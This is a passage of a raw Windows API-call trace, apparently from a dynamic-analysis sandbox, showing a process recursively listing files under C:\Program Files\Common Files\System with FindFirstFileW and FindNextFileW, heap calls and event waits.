dwMilliseconds=0xffffffff) returned 0x0 [0277.344] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.344] GetProcessHeap () returned 0x550000 [0277.344] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.345] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.345] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0277.345] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0277.345] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0277.345] GetProcessHeap () returned 0x550000 [0277.345] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.345] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0277.345] GetProcessHeap () returned 0x550000 [0277.345] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0277.346] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.346] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0277.346] ResetEvent (hEvent=0xe0) returned 1 [0277.346] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0277.370] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0277.370] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.370] GetProcessHeap () returned 0x550000 [0277.370] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0277.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.371] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.371] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0277.371] ResetEvent (hEvent=0xe0) returned 1 [0277.371] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0277.491] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0277.491] ResetEvent (hEvent=0xe0) returned 1 [0277.491] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0277.911] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0277.911] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0277.911] ResetEvent (hEvent=0xe0) returned 1 [0277.911] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0278.108] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0278.108] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0278.108] ResetEvent (hEvent=0xe0) returned 1 [0278.108] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0278.486] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0278.486] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.487] GetProcessHeap () returned 0x550000 [0278.487] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.487] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0278.487] ResetEvent (hEvent=0xe0) returned 1 [0278.487] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0278.642] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0278.643] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0278.643] ResetEvent (hEvent=0xe0) returned 1 [0278.643] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.052] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0279.053] ResetEvent (hEvent=0xe0) returned 1 [0279.053] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.064] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0279.064] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0279.064] ResetEvent (hEvent=0xe0) returned 1 [0279.064] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.068] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0279.068] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0279.068] ResetEvent (hEvent=0xe0) returned 1 [0279.068] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.229] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0279.230] ResetEvent (hEvent=0xe0) returned 1 [0279.230] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.247] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0279.248] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0279.248] ResetEvent (hEvent=0xe0) returned 1 [0279.248] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.298] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0279.299] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0279.299] ResetEvent (hEvent=0xe0) returned 1 [0279.299] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.336] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0279.336] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0279.336] ResetEvent (hEvent=0xe0) returned 1 [0279.336] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.348] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0279.348] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0279.348] GetProcessHeap () returned 0x550000 [0279.348] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0279.348] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0279.348] GetProcessHeap () returned 0x550000 [0279.348] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0279.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0279.349] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.349] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0279.349] GetProcessHeap () returned 0x550000 [0279.349] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0279.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, 